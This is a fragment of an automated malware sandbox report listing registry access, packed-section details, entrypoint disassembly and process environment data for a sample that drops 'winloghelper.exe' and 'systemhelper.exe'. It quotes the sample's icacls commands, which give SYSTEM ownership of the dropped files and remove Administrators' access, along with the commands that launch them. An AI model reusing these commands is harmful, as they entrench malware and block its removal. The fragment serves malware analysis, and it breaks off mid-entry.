Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp")5f:Ta64,"074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32") "systemhelper.exe" touched "Microsoft Multiple AutoComplete List Container" (Path: "HKCU\WOW6432NODE\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\TREATAS") "systemhelper.exe" touched "Microsoft Shell Folder AutoComplete List" (Path: "HKCU\WOW6432NODE\CLSID\{03C036F1-A186-11D0-824A-00AA005B4383}\TREATAS") "systemhelper.exe" touched "Microsoft AutoComplete" (Path: "HKCU\WOW6432NODE\CLSID\{00BB2763-6A77-11D0-A535-00C04FD7D062}\TREATAS") "systemhelper.exe" touched "Microsoft TipAutoCompleteClient Control" (Path: "HKCU\WOW6432NODE\CLSID\{807C1E6C-1D00-453F-B920-B61BB7CDD997}\TREATAS") "systemhelper.exe" touched "Computer" (Path: "HKCU\WOW6432NODE\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "systemhelper.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\WOW6432NODE\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\TREATAS") "systemhelper.exe" touched "UsersFiles" (Path: "HKCU\WOW6432NODE\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "systemhelper.exe" touched "delegate folder that appears in Users Files Folder" (Path: "HKCU\WOW6432NODE\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\INSTANCE") "systemhelper.exe" touched "Shell File System Folder" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\INPROCSERVER32") "systemhelper.exe" touched "Property System Both Class Factory" (Path: "HKCU\WOW6432NODE\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "systemhelper.exe" touched "Known Folder Manager" (Path: "HKCU\WOW6432NODE\CLSID\{4DF0C730-DF9D-4AE3-9153-AA6B82E9795A}\TREATAS") "systemhelper.exe" touched "Sync root manager" (Path: "HKCU\WOW6432NODE\CLSID\{F324E4F9-8496-40B2-A1FF-9617C1C9AFFE}\INSTANCE") "systemhelper.exe" touched "Security Manager" (Path: "HKCU\WOW6432NODE\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "systemhelper.exe" touched "ShellItemArray Shell Namespace helper" (Path: "HKCU\WOW6432NODE\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}\TREATAS") "systemhelper.exe" touched "ShellItem Shell Namespace helper" (Path: "HKCU\WOW6432NODE\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}\TREATAS") "winloghelper.exe" touched "ExecuteAssociation" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{1649D1CF-DEAF-4A68-ABE8-5C9F68572FD1}\INPROCSERVER32") "winloghelper.exe" touched "Private Profile Object" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{75847177-F077-4171-BD2C-A6BB2164FBD0}\INPROCSERVER32")60:T56a,"KoC0dj3.exe" has an executable section named ".text" "RKXRn1l.exe" has an executable section named ".text" "7z.exe" has an executable section named ".text" "random_1_.exe" has an executable section named "CODE" "v3441.exe" has an executable section named ".text" "winloghelper.exe" has an executable section named ".text" "6url4X8.exe" has an executable section named "UPX0" "6url4X8.exe" has an executable section named "UPX1" "YoUSpNJ_1_.exe" has an executable section named "UPX0" "YoUSpNJ_1_.exe" has an executable section named "UPX1" "5GFpJxh_1_.exe" has an executable section named "UPX0" "5GFpJxh_1_.exe" has an executable section named "UPX1" "random_1_.exe" has an executable section named "UPX0" "random_1_.exe" has an executable section named "UPX1" "320c753cfb.exe" has an executable section named "UPX0" "320c753cfb.exe" has an executable section named "UPX1" "eNLe4nm_1_.exe" has an executable section named "UPX0" "eNLe4nm_1_.exe" has an executable section named "UPX1" "random_2_.exe" has an executable section named "UPX0" "random_2_.exe" has an executable section named "UPX1" "NSudoLG.exe" has an executable section named ".text" "nircmd.exe" has an executable section named ".text" "msiexec.exe" has an executable section named ".text" "svchost.exe" has an executable section named ".text" "cecho.exe" has an executable section named "UPX0"61:T53f,"KoC0dj3.exe" has an writable section named ".data" "KoC0dj3.exe" has an writable section named ".idata" "RKXRn1l.exe" has an writable section named ".data" "7z.exe" has an writable section named ".data" "7z.exe" has an writable section named ".sxdata" "random_1_.exe" has an writable section named "DATA" "random_1_.exe" has an writable section named "BSS" "random_1_.exe" has an writable section named ".idata" "random_1_.exe" has an writable section named ".tls" "v3441.exe" has an writable section named ".data" "v3441.exe" has an writable section named ".fptable" "winloghelper.exe" has an writable section named ".data" "6url4X8.exe" has an writable section named "UPX0" "6url4X8.exe" has an writable section named "UPX1" "6url4X8.exe" has an writable section named ".rsrc" "YoUSpNJ_1_.exe" has an writable section named "UPX0" "YoUSpNJ_1_.exe" has an writable section named "UPX1" "YoUSpNJ_1_.exe" has an writable section named ".rsrc" "5GFpJxh_1_.exe" has an writable section named "UPX0" "5GFpJxh_1_.exe" has an writable section named "UPX1" "5GFpJxh_1_.exe" has an writable section named ".rsrc" "random_1_.exe" has an writable section named "UPX0" "random_1_.exe" has an writable section named "UPX1" "random_1_.exe" has an writable section named ".rsrc" "320c753cfb.exe" has an writable section named "UPX0"62:T2eb4,"KoC0dj3.exe" file has an entrypoint instructions - "jmp 0x14006a740,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,push rbp,mov rbp, rsp,pushfq ,cld ,sub rsp, 0xe0,mov qword ptr [rsp], rdi,mov qword ptr [rsp + 8], rsi,mov qword ptr [rsp + 0x10], rbp,mov qword ptr [rsp + 0x18], rbx,mov qword ptr [rsp + 0x20], r12,mov qword ptr [rsp + 0x28], r13,mov qword ptr [rsp + 0x30], r14,mov qword ptr [rsp + 0x38], r15,movups xmmword ptr [rsp + 0x40], xmm6,movups xmmword ptr [rsp + 0x50], xmm7,movups xmmword ptr [rsp + 0x60], xmm8," "RKXRn1l.exe" file has an entrypoint instructions - "sub rsp, 0x28,call 0x140005468,add rsp, 0x28,jmp 0x140004d50,int3 ,int3 ,push rbx,sub rsp, 0x20,mov rbx, rcx,xor ecx, ecx,call qword ptr [rip + 0xc1ff],mov rcx, rbx,call qword ptr [rip + 0xc1ee],call qword ptr [rip + 0xc1f8],mov rcx, rax,mov edx, 0xc0000409,add rsp, 0x20,pop rbx,jmp qword ptr [rip + 0xc1ec],mov qword ptr [rsp + 8], rcx,sub rsp, 0x38,mov ecx, 0x17,call 0x14001070e,test eax, eax,je 0x140004f32,mov ecx, 2," "7z.exe" file has an entrypoint instructions - "push ebp,mov ebp, esp,push -1,push 0x4ba368,push 0x4a57fe,mov eax, dword ptr fs:[0],push eax,mov dword ptr fs:[0], esp,sub esp, 0x20,push ebx,push esi,push edi,mov dword ptr [ebp - 0x18], esp,and dword ptr [ebp - 4], 0,push 1,call dword ptr [0x4b1188],pop ecx,or dword ptr [0x4d43ac], 0xffffffff,or dword ptr [0x4d43b0], 0xffffffff,call dword ptr [0x4b118c],mov ecx, dword ptr [0x4d4394],mov dword ptr [eax], ecx,call dword ptr [0x4b1190],mov ecx, dword ptr [0x4d4390],mov dword ptr [eax], ecx,mov eax, dword ptr [0x4b1194],mov eax, dword ptr [eax]," "random_1_.exe" file has an entrypoint instructions - "push ebp,mov ebp, esp,add esp, -0x10,mov eax, 0x4585e0,call 0x4064d8,mov eax, dword ptr [0x45a750],mov eax, dword ptr [eax],call 0x4520b8,mov ecx, dword ptr [0x45a824],mov eax, dword ptr [0x45a750],mov eax, dword ptr [eax],mov edx, dword ptr [0x457fe4],call 0x4520d0,mov eax, dword ptr [0x45a750],mov eax, dword ptr [eax],call 0x452150,call 0x404384,lea eax, [eax],add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al," "v3441.exe" file has an entrypoint instructions - "sub rsp, 0x28,call 0x140003208,add rsp, 0x28,jmp 0x140002e40,int3 ,int3 ,sub rsp, 0x28,call 0x1400038a0,test eax, eax,je 0x140002ff6,mov rax, qword ptr gs:[0x30],mov rcx, qword ptr [rax + 8],jmp 0x140002fe9,cmp rcx, rax,je 0x140002ffd,xor eax, eax,lock cmpxchg qword ptr [rip + 0x1bb14], rcx,jne 0x140002fe4,xor al, al,add rsp, 0x28,ret ,mov al, 1,jmp 0x140002ff8,int3 ,int3 ,int3 ,sub rsp, 0x28,test ecx, ecx,jne 0x140003013,mov byte ptr [rip + 0x1bafd], 1,call 0x140003608," "winloghelper.exe" file has an entrypoint instructions - "call 0x429412,jmp 0x428c45,mov ecx, dword ptr [ebp - 0xc],mov dword ptr fs:[0], ecx,pop ecx,pop edi,pop edi,pop esi,pop ebx,mov esp, ebp,pop ebp,push ecx,ret ,mov ecx, dword ptr [ebp - 0x10],xor ecx, ebp,call 0x4284d0,jmp 0x428dd1,push eax,push dword ptr fs:[0],lea eax, [esp + 0xc],sub esp, dword ptr [esp + 0xc],push ebx,push esi,push edi,mov dword ptr [eax], ebp,mov ebp, eax,mov eax, dword ptr [0x463124],xor eax, ebp,push eax,push dword ptr [ebp - 4],mov dword ptr [ebp - 4], 0xffffffff,lea eax, [ebp - 0xc],mov dword ptr fs:[0], eax,ret ,push eax," "6url4X8.exe" file has an entrypoint instructions - "push rbx,push rsi,push rdi,push rbp,lea rsi, [rip - 0x35e5b],lea rdi, [rsi - 0xc1000],push rdi,xor ebx, ebx,xor ecx, ecx,or rbp, 0xffffffffffffffff,call 0x1400f7ec0,add ebx, ebx,je 0x1400f7e76,repz ret ,mov ebx, dword ptr [rsi],sub rsi, -4,adc ebx, ebx,mov dl, byte ptr [rsi],repz ret ,lea rax, [rdi + rbp],cmp ecx, 5,mov dl, byte ptr [rax],jbe 0x1400f7eae,cmp rbp, -4,ja 0x1400f7eae,sub ecx, 4,mov edx, dword ptr [rax],add rax, 4,sub ecx, 4,mov dword ptr [rdi], edx,lea rdi, [rdi + 4],jae 0x1400f7e96,add ecx, 4,mov dl, byte ptr [rax],je 0x1400f7ebe,inc rax,mov byte ptr [rdi], dl," "YoUSpNJ_1_.exe" file has an entrypoint instructions - "push rbx,push rsi,push rdi,push rbp,lea rsi, [rip - 0x35e6b],lea rdi, [rsi - 0xc1000],push rdi,xor ebx, ebx,xor ecx, ecx,or rbp, 0xffffffffffffffff,call 0x1400f7ed0,add ebx, ebx,je 0x1400f7e86,repz ret ,mov ebx, dword ptr [rsi],sub rsi, -4,adc ebx, ebx,mov dl, byte ptr [rsi],repz ret ,lea rax, [rdi + rbp],cmp ecx, 5,mov dl, byte ptr [rax],jbe 0x1400f7ebe,cmp rbp, -4,ja 0x1400f7ebe,sub ecx, 4,mov edx, dword ptr [rax],add rax, 4,sub ecx, 4,mov dword ptr [rdi], edx,lea rdi, [rdi + 4],jae 0x1400f7ea6,add ecx, 4,mov dl, byte ptr [rax],je 0x1400f7ece,inc rax,mov byte ptr [rdi], dl," "5GFpJxh_1_.exe" file has an entrypoint instructions - "push rbx,push rsi,push rdi,push rbp,lea rsi, [rip - 0x35e6b],lea rdi, [rsi - 0xc1000],push rdi,xor ebx, ebx,xor ecx, ecx,or rbp, 0xffffffffffffffff,call 0x1400f7ed0,add ebx, ebx,je 0x1400f7e86,repz ret ,mov ebx, dword ptr [rsi],sub rsi, -4,adc ebx, ebx,mov dl, byte ptr [rsi],repz ret ,lea rax, [rdi + rbp],cmp ecx, 5,mov dl, byte ptr [rax],jbe 0x1400f7ebe,cmp rbp, -4,ja 0x1400f7ebe,sub ecx, 4,mov edx, dword ptr [rax],add rax, 4,sub ecx, 4,mov dword ptr [rdi], edx,lea rdi, [rdi + 4],jae 0x1400f7ea6,add ecx, 4,mov dl, byte ptr [rax],je 0x1400f7ece,inc rax,mov byte ptr [rdi], dl," "random_1_.exe" file has an entrypoint instructions - "push rbx,push rsi,push rdi,push rbp,lea rsi, [rip - 0x343eb],lea rdi, [rsi - 0xba000],push rdi,xor ebx, ebx,xor ecx, ecx,or rbp, 0xffffffffffffffff,call 0x1400ef450,add ebx, ebx,je 0x1400ef406,repz ret ,mov ebx, dword ptr [rsi],sub rsi, -4,adc ebx, ebx,mov dl, byte ptr [rsi],repz ret ,lea rax, [rdi + rbp],cmp ecx, 5,mov dl, byte ptr [rax],jbe 0x1400ef43e,cmp rbp, -4,ja 0x1400ef43e,sub ecx, 4,mov edx, dword ptr [rax],add rax, 4,sub ecx, 4,mov dword ptr [rdi], edx,lea rdi, [rdi + 4],jae 0x1400ef426,add ecx, 4,mov dl, byte ptr [rax],je 0x1400ef44e,inc rax,mov byte ptr [rdi], dl," "320c753cfb.exe" file has an entrypoint instructions - "push rbx,push rsi,push rdi,push rbp,lea rsi, [rip - 0x343eb],lea rdi, [rsi - 0xba000],push rdi,xor ebx, ebx,xor ecx, ecx,or rbp, 0xffffffffffffffff,call 0x1400ef450,add ebx, ebx,je 0x1400ef406,repz ret ,mov ebx, dword ptr [rsi],sub rsi, -4,adc ebx, ebx,mov dl, byte ptr [rsi],repz ret ,lea rax, [rdi + rbp],cmp ecx, 5,mov dl, byte ptr [rax],jbe 0x1400ef43e,cmp rbp, -4,ja 0x1400ef43e,sub ecx, 4,mov edx, dword ptr [rax],add rax, 4,sub ecx, 4,mov dword ptr [rdi], edx,lea rdi, [rdi + 4],jae 0x1400ef426,add ecx, 4,mov dl, byte ptr [rax],je 0x1400ef44e,inc rax,mov byte ptr [rdi], dl," "eNLe4nm_1_.exe" file has an entrypoint instructions - "push rbx,push rsi,push rdi,push rbp,lea rsi, [rip - 0x343eb],lea rdi, [rsi - 0xba000],push rdi,xor ebx, ebx,xor ecx, ecx,or rbp, 0xffffffffffffffff,call 0x1400ef450,add ebx, ebx,je 0x1400ef406,repz ret ,mov ebx, dword ptr [rsi],sub rsi, -4,adc ebx, ebx,mov dl, byte ptr [rsi],repz ret ,lea rax, [rdi + rbp],cmp ecx, 5,mov dl, byte ptr [rax],jbe 0x1400ef43e,cmp rbp, -4,ja 0x1400ef43e,sub ecx, 4,mov edx, dword ptr [rax],add rax, 4,sub ecx, 4,mov dword ptr [rdi], edx,lea rdi, [rdi + 4],jae 0x1400ef426,add ecx, 4,mov dl, byte ptr [rax],je 0x1400ef44e,inc rax,mov byte ptr [rdi], dl," "random_2_.exe" file has an entrypoint instructions - "push rbx,push rsi,push rdi,push rbp,lea rsi, [rip - 0x343eb],lea rdi, [rsi - 0xba000],push rdi,xor ebx, ebx,xor ecx, ecx,or rbp, 0xffffffffffffffff,call 0x1400ef450,add ebx, ebx,je 0x1400ef406,repz ret ,mov ebx, dword ptr [rsi],sub rsi, -4,adc ebx, ebx,mov dl, byte ptr [rsi],repz ret ,lea rax, [rdi + rbp],cmp ecx, 5,mov dl, byte ptr [rax],jbe 0x1400ef43e,cmp rbp, -4,ja 0x1400ef43e,sub ecx, 4,mov edx, dword ptr [rax],add rax, 4,sub ecx, 4,mov dword ptr [rdi], edx,lea rdi, [rdi + 4],jae 0x1400ef426,add ecx, 4,mov dl, byte ptr [rax],je 0x1400ef44e,inc rax,mov byte ptr [rdi], dl," "NSudoLG.exe" file has an entrypoint instructions - "sub rsp, 0x28,call 0x14000dfac,add rsp, 0x28,jmp 0x14000d874,int3 ,int3 ,push rbx,sub rsp, 0x20,mov rbx, rcx,xor ecx, ecx,call qword ptr [rip + 0xb8e3],mov rcx, rbx,call qword ptr [rip + 0xb8e2],call qword ptr [rip + 0xb7fc],mov rcx, rax,mov edx, 0xc0000409,add rsp, 0x20,pop rbx,jmp qword ptr [rip + 0xb8b8],mov qword ptr [rsp + 8], rcx,sub rsp, 0x38,mov ecx, 0x17,call qword ptr [rip + 0xb89c],test eax, eax,je 0x14000da4f," "nircmd.exe" file has an entrypoint instructions - "mov rax, rsp,sub rsp, 0xc8,mov qword ptr [rax + 0x18], rbx,mov qword ptr [rax + 0x20], rdi,lea rcx, [rax - 0x78],call qword ptr [rip + 0x14bc],nop ,cmp word ptr [rip - 0x15c76], 0x5a4d,je 0x140015c8d,xor ebx, ebx,mov dword ptr [rsp + 0xd0], ebx,lea rdi, [rip - 0x15c88],jmp 0x140015d1b,movsxd rax, dword ptr [rip - 0x15c58],lea rdi, [rip - 0x15c9b],add rax, rdi,cmp dword ptr [rax], 0x4550,je 0x140015cb1,xor ebx, ebx,mov dword ptr [rsp + 0xd0], ebx,jmp 0x140015d1b," "msiexec.exe" file has an entrypoint instructions - "sub rsp, 0x28,call 0x140009360,add rsp, 0x28,jmp 0x140008b34,int3 ,int3 ,mov qword ptr [rsp + 8], rbx,mov qword ptr [rsp + 0x10], rdi,push r14,sub rsp, 0xb0,and dword ptr [rsp + 0x20], 0,lea rcx, [rsp + 0x40],call qword ptr [rip + 0x1949],nop ,mov rax, qword ptr gs:[0x30],mov rbx, qword ptr [rax + 8],xor edi, edi,xor eax, eax,lock cmpxchg qword ptr [rip + 0x77ce], rbx,je 0x140008b8d,cmp rax, rbx,jne 0x140008b80,mov edi, 1,jmp 0x140008b8d," "svchost.exe" file has an entrypoint instructions - "call 0x405986,jmp 0x402650,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,mov edi, edi,push ebp,mov ebp, esp,sub esp, 0x10,lea eax, [ebp - 4],mov dword ptr [ebp - 0xc], 0,push 0x401214,push 0x401210,mov dword ptr [ebp - 4], 0,mov dword ptr [ebp - 8], eax,mov dword ptr [ebp - 0x10], 0,call dword ptr [0x409018],add esp, 8,test eax, eax,jne 0x4026b7,push eax,push eax,push eax,lea eax, [ebp - 8],push eax,lea eax, [ebp - 0xc],push eax,call dword ptr [0x409020],push 0x40120c," "cecho.exe" file has an entrypoint instructions - "pushal ,mov esi, 0x40f000,lea edi, [esi - 0xe000],push edi,jmp 0x414aca,nop ,mov al, byte ptr [esi],inc esi,mov byte ptr [edi], al,inc edi,add ebx, ebx,jne 0x414ad1,mov ebx, dword ptr [esi],sub esi, -4,adc ebx, ebx,jb 0x414ac0,mov eax, 1,add ebx, ebx,jne 0x414ae3,mov ebx, dword ptr [esi],sub esi, -4,adc ebx, ebx,adc eax, eax,add ebx, ebx,jae 0x414ad8,jne 0x414af4,mov ebx, dword ptr [esi],sub esi, -4,adc ebx, ebx,jae 0x414ad8,xor ecx, ecx,sub eax, 3,jb 0x414b08,shl eax, 8,mov al, byte ptr [esi],inc esi,xor eax, 0xffffffff,je 0x414b7a,mov ebp, eax,add ebx, ebx,jne 0x414b13,mov ebx, dword ptr [esi],sub esi, -4,adc ebx, ebx," "f428f5cd71.exe" file has an entrypoint instructions - "jmp dword ptr [0x402000],add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,"63:T15ef,Observed system executable string:"%WINDIR%\SysWOW64\cmd.exe" [Source: 00000000-00007344-00000BC0-406230766] Observed system executable string:""cmd.exe" /c icacls "%WINDIR%\winloghelper.exe" /setowner "SYSTEM"" [Source: 00000000-00007344-00000C47-11963668502] Observed system executable string:""cmd.exe" /c icacls "%WINDIR%\winloghelper.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX" [Source: 00000000-00007344-00000C47-13966192080] Observed system executable string:""cmd.exe" /c icacls "%WINDIR%\winloghelper.exe" /remove:d Everyone Administrators" [Source: 00000000-00007344-00000C47-16050929690] Observed system executable string:""cmd.exe" /c icacls "%WINDIR%\systemhelper.exe" /setowner "SYSTEM"" [Source: 00000000-00007344-00000C47-18202105556] Observed system executable string:""cmd.exe" /c icacls "%WINDIR%\systemhelper.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX" [Source: 00000000-00007344-00000C47-19971344066] Observed system executable string:""cmd.exe" /c icacls "%WINDIR%\systemhelper.exe" /remove:d Everyone Administrators" [Source: 00000000-00007344-00000C47-21814864988] Observed system executable string:""cmd.exe" /c start "" "%WINDIR%\winloghelper.exe"" [Source: 00000000-00007344-00000C47-66447434888] Observed system executable string:""cmd.exe" /c start "" "%WINDIR%\systemhelper.exe"" [Source: 00000000-00007344-00000C47-66485867922] Observed system executable string:"%WINDIR%\SysWOW64\icacls.exe" [Source: 00000000-00004696-00000BC0-407181398] Observed system executable string:"%WINDIR%\system32\icacls.exe" [Source: 00000000-00004696-00000C47-1395304366] Observed system executable string:"icacls "%WINDIR%\winloghelper.exe" /setowner "SYSTEM"" [Source: 00000000-00004696-00000C47-1395304366] Observed system executable string:"icacls "%WINDIR%\winloghelper.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX" [Source: 00000000-00007588-00000C47-1250534058] Observed system executable string:"icacls "%WINDIR%\winloghelper.exe" /remove:d Everyone Administrators" [Source: 00000000-00006640-00000C47-1603915200] Observed system executable string:"icacls "%WINDIR%\systemhelper.exe" /setowner "SYSTEM"" [Source: 00000000-00003676-00000C47-1316228856] Observed system executable string:"icacls "%WINDIR%\systemhelper.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX" [Source: 00000000-00007996-00000C47-1303484604] Observed system executable string:"icacls "%WINDIR%\systemhelper.exe" /remove:d Everyone Administrators" [Source: 00000000-00006500-00000C47-1179097776] Observed system executable string:"%WINDIR%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" [Source: 00000000-00002988-00000BC0-412151086] Observed system executable string:"%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" [Source: 00000000-00002988-00000C47-1579795450] Observed system executable string:"%WINDIR%\SysWOW64\net.exe" [Source: 00000000-00008164-00000BC0-422657802] Observed system executable string:"%WINDIR%\system32\net.exe" [Source: 00000000-00008164-00000C47-1235057614] Observed system executable string:"icacls "%WINDIR%\sROBvkl9.exe" /setowner "SYSTEM"" [Source: 00000000-00001896-00000C47-1481948564] Observed system executable string:"icacls "%WINDIR%\sROBvkl9.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX" [Source: 00000000-00007720-00000C47-1284541954] Observed system executable string:"icacls "%WINDIR%\sROBvkl9.exe" /remove:d Everyone Administrators" [Source: 00000000-00000784-00000C47-1191007398] Observed system executable string:"%WINDIR%\SysWOW64\schtasks.exe" [Source: 00000000-00008072-00000BC0-428971936] Observed system executable string:"%WINDIR%\system32\schtasks.exe" [Source: 00000000-00008072-00000C47-1679021766] Observed system executable string:"%WINDIR%\winloghelper.exe" [Source: 00000000-00007776-00000BC0-430950296] Observed system executable string:""%WINDIR%\winloghelper.exe"" [Source: 00000000-00007776-00000C47-3605073224] Observed system executable string:""%WINDIR%\systemhelper.exe"" [Source: 00000000-00004124-00000C47-3184073454] Observed system executable string:"%WINDIR%\system32\cmd.exe" [Source: 00000000-00002952-00000454-1227839990] Observed system executable string:"/c icacls "%WINDIR%\winloghelper.exe" /setowner "SYSTEM"" [Source: cmd.exe] Observed system executable string:"/c icacls "%WINDIR%\winloghelper.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX" [Source: cmd.exe] Observed system executable string:"/c icacls "%WINDIR%\winloghelper.exe" /remove:d Everyone Administrators" [Source: cmd.exe] Observed system executable string:"/c icacls "%WINDIR%\systemhelper.exe" /setowner "SYSTEM"" [Source: cmd.exe] Observed system executable string:"/c icacls "%WINDIR%\systemhelper.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX" [Source: cmd.exe] Observed system executable string:"/c icacls "%WINDIR%\systemhelper.exe" /remove:d Everyone Administrators" [Source: cmd.exe] Observed system executable string:"/c icacls "%WINDIR%\sROBvkl9.exe" /setowner "SYSTEM"" [Source: cmd.exe] Observed system executable string:"/c icacls "%WINDIR%\sROBvkl9.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX" [Source: cmd.exe] Observed system executable string:"/c icacls "%WINDIR%\sROBvkl9.exe" /remove:d Everyone Administrators" [Source: cmd.exe] Observed system executable string:"/c start "" "%WINDIR%\winloghelper.exe"" [Source: cmd.exe] Observed system executable string:"/c start "" "%WINDIR%\systemhelper.exe"" [Source: cmd.exe] Observed system executable string:"%WINDIR%\system32\cmd.exe /c ""%TEMP%\HJz61iU.bat" "" [Source: cmd.exe]64:T1303,Process "cmd.exe" (UID: 00000000-00004696) was launched with new environment variables: "USERDNSDOMAIN="DESKTOP-FVVF82A", PROCESSOR_ARCHITEW6432="AMD64"" Process "cmd.exe" (UID: 00000000-00004696) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles, NUMBER_OF_PROCESSORS" Process "icacls.exe" (UID: 00000000-00000808) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00000000-00007588) was launched with missing environment variables: "PROMPT" Process "icacls.exe" (UID: 00000000-00003752) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00000000-00006640) was launched with missing environment variables: "PROMPT" Process "icacls.exe" (UID: 00000000-00006856) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00000000-00003676) was launched with missing environment variables: "PROMPT" Process "icacls.exe" (UID: 00000000-00004360) was launched with new environment variables: "FPS_BROWSER_APP_PROFILE_STRING="Internet Explorer", PROMPT="$P$G", FPS_BROWSER_USER_PROFILE_STRING="Default"" Process "cmd.exe" (UID: 00000000-00007996) was launched with missing environment variables: "FPS_BROWSER_APP_PROFILE_STRING, PROMPT, FPS_BROWSER_USER_PROFILE_STRING" Process "icacls.exe" (UID: 00000000-00005284) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00000000-00006500) was launched with missing environment variables: "PROMPT" Process "icacls.exe" (UID: 00000000-00007220) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00000000-00002988) was launched with missing environment variables: "PROMPT" Process "powershell.exe" (UID: 00000000-00005808) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00000000-00008164) was launched with missing environment variables: "PROMPT" Process "net.exe" (UID: 00000000-00007924) was launched with new environment variables: "PROMPT="$P$G"" Process "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" (UID: 00000000-00004268) was launched with modified environment variables: "LOCALAPPDATA, USERDOMAIN, PROCESSOR_ARCHITECTURE, APPDATA, USERNAME, CommonProgramFiles, Path, TEMP, USERPROFILE, TMP, ProgramFiles, NUMBER_OF_PROCESSORS" Process "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" (UID: 00000000-00004268) was launched with missing environment variables: "USERDOMAIN_ROAMINGPROFILE, LOGONSERVER, PROMPT, OneDrive, USERDNSDOMAIN, PROCESSOR_ARCHITEW6432, HOMEPATH, HOMEDRIVE" Process "cmd.exe" (UID: 00000000-00001896) was launched with new environment variables: "PROCESSOR_ARCHITEW6432="AMD64"" Process "cmd.exe" (UID: 00000000-00001896) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "icacls.exe" (UID: 00000000-00007184) was launched with new environment variables: "PROMPT="$P$G", USERDNSDOMAIN="WORKGROUP"" Process "icacls.exe" (UID: 00000000-00007184) was launched with modified environment variables: "NUMBER_OF_PROCESSORS" Process "cmd.exe" (UID: 00000000-00007720) was launched with modified environment variables: "NUMBER_OF_PROCESSORS" Process "cmd.exe" (UID: 00000000-00007720) was launched with missing environment variables: "PROMPT, USERDNSDOMAIN" Process "icacls.exe" (UID: 00000000-00004416) was launched with new environment variables: "PROMPT="$P$G", USERDNSDOMAIN="WORKGROUP"" Process "icacls.exe" (UID: 00000000-00004416) was launched with modified environment variables: "NUMBER_OF_PROCESSORS" Process "cmd.exe" (UID: 00000000-00000784) was launched with modified environment variables: "NUMBER_OF_PROCESSORS" Process "cmd.exe" (UID: 00000000-00000784) was launched with missing environment variables: "PROMPT, USERDNSDOMAIN" Process "icacls.exe" (UID: 00000000-00005712) was launched with new environment variables: "PROMPT="$P$G", USERDNSDOMAIN="WORKGROUP"" Process "icacls.exe" (UID: 00000000-00005712) was launched with modified environment variables: "NUMBER_OF_PROCESSORS" Process "sROBvkl9.exe" (UID: 00000000-00007564) was launched with modified environment variables: 